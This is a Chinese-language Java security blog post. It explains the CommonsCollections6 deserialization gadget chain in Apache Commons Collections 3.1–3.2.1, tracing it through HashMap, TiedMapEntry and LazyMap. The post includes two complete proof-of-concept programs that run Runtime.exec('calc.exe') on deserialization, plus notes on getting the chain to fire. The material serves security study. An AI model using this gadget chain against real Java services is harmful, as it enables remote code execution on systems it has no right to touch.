本文最后更新于:2023年9月1日 上午
                  
                
              
            
            
              
                
                [TOC]
【java安全】CommonsCollections6
测试环境
3.1-3.2.1,jdk1.7,1.8
前言
之前我们分析了CommonsCollections1 LazyMap利用链,但是在java 8u71以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler类的readObject()等方法的逻辑改变了:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
 ObjectInputStream.GetField var2 = var1.readFields();
 Class var3 = (Class)var2.get("type", (Object)null);
 Map var4 = (Map)var2.get("memberValues", (Object)null);
 AnnotationType var5 = null;
 
 try {
 var5 = AnnotationType.getInstance(var3);
 } catch (IllegalArgumentException var13) {
 throw new InvalidObjectException("Non-annotation type in annotation serial stream");
 }
 
 Map var6 = var5.memberTypes();
 LinkedHashMap var7 = new LinkedHashMap();
 
 String var10;
 Object var11;
 for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
 Map.Entry var9 = (Map.Entry)var8.next();
 var10 = (String)var9.getKey();
 var11 = null;
 Class var12 = (Class)var6.get(var10);
 if (var12 != null) {
 var11 = var9.getValue();
 if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
 var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
 }
 }
 }
 
 AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
 AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
 }
 
 | 
我们需要找一个绕过高版本的利用链CommonsCollections6
分析
LazyMap的get()方法我们不能继续使用CommonsCollections1中通过使用动态代理的方式调用AnnotationInvocationHandler 的invoke()方法,从而触发LazyMap#get()方法了
我们需要了解到一个新的类:
TiedMapEntry
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;
 private final Map map;
 private final Object key;
 
 public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key;
 }
 public Object getValue() {
 return this.map.get(this.key);
 }
 
 ...
 
 public int hashCode() {
 Object value = this.getValue();
 return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
 }
 
 
 
 | 
这里重点关注TiedMapEntry类的hashCode()方法,他会调用自身的getValue()方法,而this.map变量可以传入LazyMap类型,于是就触发了get()方法
但是应该从哪里调用TiedMapEntry#hashCode()方法呢?
我们可以使用HashMap
HashMap#readObject()方法会对key使用hash()方法,然后hash方法会对key使用hashCode()方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | static final int hash(Object key) {int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 
 s.defaultReadObject();
 reinitialize();
 ...
 putVal(hash(key), key, value, false, false);
 }
 }
 }
 public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
 }
 
 | 
于是我们可以构造一个HashMap
然后使用put方法将TiedMapEntry添加进去:
| 12
 3
 4
 5
 6
 7
 
 | TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");Map hashMap = new HashMap();
 
 
 
 
 hashMap.put(tiedMapEntry, "value");
 
 | 
注意点一
需要注意,我们在使用HashMap#put()方法的时候,会触发hash()方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap中添加一个假的ChainedTransformer类对象,这样put()就触发不了RCE了:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | Transformer[] fakeTransformers = new Transformer[]{};Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
 Map uselessMap = new HashMap();
 Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
 
 Map hashMap = new HashMap();
 
 
 
 
 hashMap.put(tiedMapEntry, "value");
 
 | 
添加完成之后我们通过反射将chainedTransformer的变量iTransformer改为真的:
| 12
 3
 
 | Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);
 iTransformers.set(chainedTransformer, transformers);
 
 | 
总结一下:
我们想要触发LazyMap#get()方法,可以通过TiedMapEntry#hashCode()方法,然后TiedMapEntry#hashCode()方法可以被HashMap#readObject()中的hash()调用,完成RCE
我们接下来模拟反序列化,完整代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
 public class cc6 {
 public static void main(String[] args) throws Exception {
 
 Transformer[] fakeTransformers = new Transformer[]{};
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{
 String.class,
 Class[].class}, new Object[]{"getRuntime",
 new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{
 Object.class,
 Object[].class}, new Object[]{null, new
 Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class
 },
 new String[]{"calc.exe"})
 };
 Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
 Map uselessMap = new HashMap();
 Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
 
 Map hashMap = new HashMap();
 
 
 
 
 
 hashMap.put(tiedMapEntry, "value");
 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
 iTransformers.setAccessible(true);
 iTransformers.set(chainedTransformer, transformers);
 
 
 ByteArrayOutputStream bos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bos);
 oos.writeObject(hashMap);
 oos.close();
 
 ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
 ObjectInputStream ois = new ObjectInputStream(bis);
 ois.readObject();
 ois.close();
 }
 }
 
 | 
看似以及完美了,但是我们执行一下发现没有弹出计算器
注意点二
上述代码的问题在这:
| 1
 | hashMap.put(tiedMapEntry, "value");
 | 
虽然tiedMapEntry中的LazyMap的值chainedTransformer已经换为空的,但是还是会执行hash()方法

这导致方框中的条件为false,不进入if中,导致不会执行chainedTransformer#transform()方法
解决方法:
我们在put()后使用Map#clear()方法,将LazyMap中的值清空
POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
 public class cc6 {
 public static void main(String[] args) throws Exception {
 
 Transformer[] fakeTransformers = new Transformer[]{};
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{
 String.class,
 Class[].class}, new Object[]{"getRuntime",
 new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{
 Object.class,
 Object[].class}, new Object[]{null, new
 Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class
 },
 new String[]{"calc.exe"})
 };
 Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
 Map uselessMap = new HashMap();
 Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
 
 Map hashMap = new HashMap();
 
 
 
 
 
 hashMap.put(tiedMapEntry, "value");
 
 outerMap.clear();
 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
 iTransformers.setAccessible(true);
 iTransformers.set(chainedTransformer, transformers);
 
 
 ByteArrayOutputStream bos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bos);
 oos.writeObject(hashMap);
 oos.close();
 
 ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
 ObjectInputStream ois = new ObjectInputStream(bis);
 ois.readObject();
 ois.close();
 }
 }
 
 
 | 
调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | ->HashMap.readObject()
 ->HashMap.hash()
 ->TiedMapEntry.hashCode()
 ->TiedMapEntry.getValue()
 ->LazyMap.get()
 ->ChainedTransformer.transform()
 ->ConstantTransformer.transform()
 ->InvokerTransformer.transform()
 ->…………
 
 |